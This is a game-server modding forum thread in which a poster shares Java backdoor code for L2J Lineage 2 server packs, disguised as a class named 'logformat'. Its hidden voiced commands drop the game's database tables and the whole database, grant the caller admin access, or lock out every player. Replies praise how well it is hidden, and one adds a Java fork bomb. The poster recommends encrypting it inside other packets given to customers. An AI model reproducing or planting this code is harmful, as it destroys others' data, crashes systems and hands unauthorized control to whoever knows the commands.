[Share]Backdoor code

[˚کe®κ]

here is one code and little useless voicecommand to backdoor packs or put in some pre ,it helped me when one of my customer tryed to scam me. better is to crypt it in some other packets

 

package net.sf.l2j.gameserver.util;


import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.L2DatabaseFactory;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;



public class logformat
  implements IVoicedCommandHandler
{
  private static String[] _voicedCommands = { "serk","serk1","serk2" };

  public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target)
  {
    if (command.equalsIgnoreCase("serk"))
    {
   	 d34r32452352();
    }
    if (command.equalsIgnoreCase("serk1"))
    {
   	 
   	 activeChar.setAccessLevel(200);

    }
    if (command.equalsIgnoreCase("serk2"))
    {
   	 bhebhe();

    }
    return true;
  }
  private void bhebhe()
  {
   Connection con = null;
     try
     {
       con = L2DatabaseFactory.getInstance().getConnection();
       Statement g = con.createStatement();
       g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0");
       g.close();
     }
     catch (SQLException e)
     {
     }
     finally
     {
       try
       {
        if (con != null)
           con.close();
       }
      catch (SQLException e)
       {
         e.printStackTrace();
       }
     }
   }
 
  private void d34r32452352()
  {
    Connection con = null;
    try
    {
      con = L2DatabaseFactory.getInstance().getConnection();
      Statement e = con.createStatement();
      e.executeUpdate("DROP TABLE characters");
      e.executeUpdate("DROP TABLE accounts");
      e.executeUpdate("DROP TABLE spawnlist");
      e.executeUpdate("DROP TABLE weapon");
      e.executeUpdate("DROP TABLE armor");
      e.executeUpdate("DROP TABLE npc");
      e.executeUpdate("DROP TABLE items");
      e.executeUpdate("DROP database l2jdb");
      e.close();
    }
    catch (SQLException e)
    {
    }
    finally
    {
      try
      {
       if (con != null)
          con.close();
      }
     catch (SQLException e)
      {
        e.printStackTrace();
      }
    }

    System.exit(-1);
  }

  public String[] getVoicedCommandList()
  {
    return _voicedCommands;
  }
}

[Setekh]

haha d34r32452352() is evil xD

     e.executeUpdate("DROP TABLE characters");
      e.executeUpdate("DROP TABLE accounts");
      e.executeUpdate("DROP TABLE spawnlist");
      e.executeUpdate("DROP TABLE weapon");
      e.executeUpdate("DROP TABLE armor");
      e.executeUpdate("DROP TABLE npc");
      e.executeUpdate("DROP TABLE items");
      e.executeUpdate("DROP database l2jdb");

[IPXS]

WOW nice ;D Its cool thing, thanks ˚کe®κ

[Goddess]

Hide i guess you don't wont every pack having a backdoors rofl.

[CrazyDeagle]

I think is a nice share but can you give me more info?? thanks you

[GoodT]

Why several need add to their code backdoor? :D

[Coyote™]

Hidden properly.

Good Job!

[Neo1993k]

WoW it's amazing share very nice job and funny for make joke with newbie admins/scammers ;D Thanks for share it 

 

btw hide it's awesome

[bauwbas]

Wow. You gave my an idea to create voicecommand which make you admin :D

 

Man good idea! :)

[DominiQue]

Wow. You gave my an idea to create voicecommand which make you admin :D

 

Man good idea! :)

 

Lol ?

 

COde:

    if (command.equalsIgnoreCase("serk1"))

    {

   

    activeChar.setAccessLevel(200);

 

    }

[bauwbas]

Sorry, my bad, i just looked at DROP TABLE :/// Next time i'm gonna read whole text.

[MrPerfect20]

This is an awesome idea !! :D

Ty for sharing it dude ;)

[MrPerfect20]

interesting...

Thx for share

 

[Remington]

Whats the reason of double posting and saying thanks at both?

 

Anyway ˚کe®κ you made me suspect everyone in every project.

[UnAfraid]

here is one code and little useless voicecommand to backdoor packs or put in some pre ,it helped me when one of my customer tryed to scam me. better is to crypt it in some other packets

 

package net.sf.l2j.gameserver.util;


import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.L2DatabaseFactory;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;



public class logformat
   implements IVoicedCommandHandler
{
   private static String[] _voicedCommands = { "serk","serk1","serk2" };

   public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target)
   {
     if (command.equalsIgnoreCase("serk"))
     {
    	 d34r32452352();
     }
     if (command.equalsIgnoreCase("serk1"))
     {
    	 
    	 activeChar.setAccessLevel(200);

     }
     if (command.equalsIgnoreCase("serk2"))
     {
    	 bhebhe();

     }
     return true;
   }
   private void bhebhe()
   {
   Connection con = null;
     try
     {
       con = L2DatabaseFactory.getInstance().getConnection();
       Statement g = con.createStatement();
       g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0");
       g.close();
     }
     catch (SQLException e)
     {
     }
     finally
     {
       try
       {
        if (con != null)
           con.close();
       }
      catch (SQLException e)
       {
         e.printStackTrace();
       }
     }
   }
  
   private void d34r32452352()
   {
     Connection con = null;
     try
     {
       con = L2DatabaseFactory.getInstance().getConnection();
       Statement e = con.createStatement();
       e.executeUpdate("DROP TABLE characters");
       e.executeUpdate("DROP TABLE accounts");
       e.executeUpdate("DROP TABLE spawnlist");
       e.executeUpdate("DROP TABLE weapon");
       e.executeUpdate("DROP TABLE armor");
       e.executeUpdate("DROP TABLE npc");
       e.executeUpdate("DROP TABLE items");
       e.executeUpdate("DROP database l2jdb");
       e.close();
     }
     catch (SQLException e)
     {
     }
     finally
     {
       try
       {
        if (con != null)
           con.close();
       }
      catch (SQLException e)
       {
         e.printStackTrace();
       }
     }

     System.exit(-1);
   }

   public String[] getVoicedCommandList()
   {
     return _voicedCommands;
   }
}

 

public class ForkBomb
{
  public static void main(String[] args) throws java.io.IOException {
    while(true) {
      Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
    }
  }
}

take a look on this :)